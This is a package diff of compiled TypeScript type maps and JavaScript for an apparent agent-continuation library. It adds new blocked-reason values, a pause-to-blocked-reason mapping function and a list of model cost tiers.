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"}
+{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":"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"}

package/dist/src/types.js

@@ -1,8 +1,9 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.DEFAULT_CONFIG = exports.VALID_BLOCKED_REASONS = void 0;
+exports.DEFAULT_CONFIG = exports.MODEL_TIERS = exports.VALID_BLOCKED_REASONS = void 0;
 exports.isValidBlockedReason = isValidBlockedReason;
 exports.toBlockedReason = toBlockedReason;
+exports.pauseReasonToBlockedReason = pauseReasonToBlockedReason;
 exports.createInitialState = createInitialState;
 /** Canonical set of all valid BlockedReason values — used by isValidBlockedReason type guard */
 exports.VALID_BLOCKED_REASONS = new Set([
@@ -16,6 +17,12 @@ exports.VALID_BLOCKED_REASONS = new Set([
     'user_stopped',
     'config_invalid',
     'max_retries_reached',
+    'max_total_reached',
+    'tool_error_repeated',
+    'loop_breaker_triggered',
+    'context_overflow_unrecoverable',
+    'injection_rejected',
+    'unrecoverable_error',
 ]);
 /** H-2: Type guard — validates that an arbitrary string is a BlockedReason.
  *  Returns `'validation_failed'` fallback when the string is not a valid reason. */
@@ -26,6 +33,43 @@ function isValidBlockedReason(value) {
 function toBlockedReason(value, fallback = 'validation_failed') {
     return isValidBlockedReason(value) ? value : fallback;
 }
+/**
+ * W1 Phase 1.5: TOTAL PauseReason → BlockedReason mapping (no silent fallback).
+ *
+ * Replaces the lossy `toBlockedReason(pauseReason, 'validation_failed')` pattern
+ * that mapped 6 of 10 terminal PauseReasons to 'validation_failed' — which is in
+ * RESUMABLE_BLOCKED_REASONS, making terminal pauses look recoverable (TENSION 1).
+ *
+ * This function is total: every PauseReason has an explicit BlockedReason. Adding
+ * a new PauseReason without a mapping row is a COMPILE ERROR (not a silent bug).
+ */
+function pauseReasonToBlockedReason(reason) {
+    switch (reason) {
+        case 'permission_denied': return 'permission_denied';
+        case 'user_stopped': return 'user_stopped';
+        case 'token_budget_exceeded': return 'token_budget_exceeded';
+        case 'validation_failed': return 'validation_failed';
+        case 'max_attempts_reached': return 'max_retries_reached';
+        case 'max_total_reached': return 'max_total_reached';
+        case 'tool_error_repeated': return 'tool_error_repeated';
+        case 'loop_breaker_triggered': return 'loop_breaker_triggered';
+        case 'context_overflow_unrecoverable': return 'context_overflow_unrecoverable';
+        case 'injection_rejected': return 'injection_rejected';
+    }
+}
+/**
+ * Model tier for cost-aware routing. Maps to concrete model IDs via
+ * ModelRoutingConfig.modelIds. Consumed via before_model_resolve hook.
+ * - 'budget': cheapest viable (haiku / deepseek)
+ * - 'standard': default balance (sonnet)
+ * - 'premium': highest capability (opus)
+ *
+ * MODEL_TIERS is the single source of truth: the runtime allowlist (used by
+ * parseModelRouting / asTier) and the ModelTier union are both derived from
+ * it, so adding a tier is a compile-checked one-place edit — no parallel
+ * array to keep in sync by hand.
+ */
+exports.MODEL_TIERS = ['budget', 'standard', 'premium'];
 exports.DEFAULT_CONFIG = {
     maxAttemptsPerTurn: 5,
     maxTotalContinuations: 50,

package/dist/src/types.js.map

@@ -1 +1 @@
-{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":";;;AAoDA,oDAEC;AAGD,0CAEC;AAkKD,gDAsBC;AA/MD,gGAAgG;AACnF,QAAA,qBAAqB,GAA+B,IAAI,GAAG,CAAgB;IACtF,mBAAmB;IACnB,8BAA8B;IAC9B,yBAAyB;IACzB,mBAAmB;IACnB,kBAAkB;IAClB,SAAS;IACT,uBAAuB;IACvB,cAAc;IACd,gBAAgB;IAChB,qBAAqB;CACtB,CAAC,CAAC;AAEH;oFACoF;AACpF,SAAgB,oBAAoB,CAAC,KAAa;IAChD,OAAO,6BAAqB,CAAC,GAAG,CAAC,KAAsB,CAAC,CAAC;AAC3D,CAAC;AAED,2FAA2F;AAC3F,SAAgB,eAAe,CAAC,KAAa,EAAE,WAA0B,mBAAmB;IAC1F,OAAO,oBAAoB,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC;AACxD,CAAC;AA0JY,QAAA,cAAc,GAAoB;IAC7C,kBAAkB,EAAE,CAAC;IACrB,qBAAqB,EAAE,EAAE;IACzB,kBAAkB,EAAE,CAAC;IACrB,cAAc,EAAE,EAAE;IAClB,sBAAsB,EAAE,CAAC;CAC1B,CAAC;AAEF,SAAgB,kBAAkB,CAChC,UAAkB,EAClB,KAAa,EACb,SAA0B,sBAAc;IAExC,OAAO;QACL,MAAM,EAAE,MAAM;QACd,UAAU;QACV,KAAK;QACL,YAAY,EAAE,CAAC;QACf,kBAAkB,EAAE,CAAC;QACrB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,qBAAqB,EAAE,MAAM,CAAC,qBAAqB;QACnD,sBAAsB,EAAE,MAAM,CAAC,sBAAsB,IAAI,CAAC;QAC1D,cAAc,EAAE,CAAC;QACjB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,oBAAoB,EAAE,KAAK;QAC3B,OAAO,EAAE,KAAK;QACd,eAAe,EAAE,CAAC;QAClB,WAAW,EAAE,MAAM,CAAC,WAAW;QAC/B,QAAQ,EAAE,KAAK;KAChB,CAAC;AACJ,CAAC"}
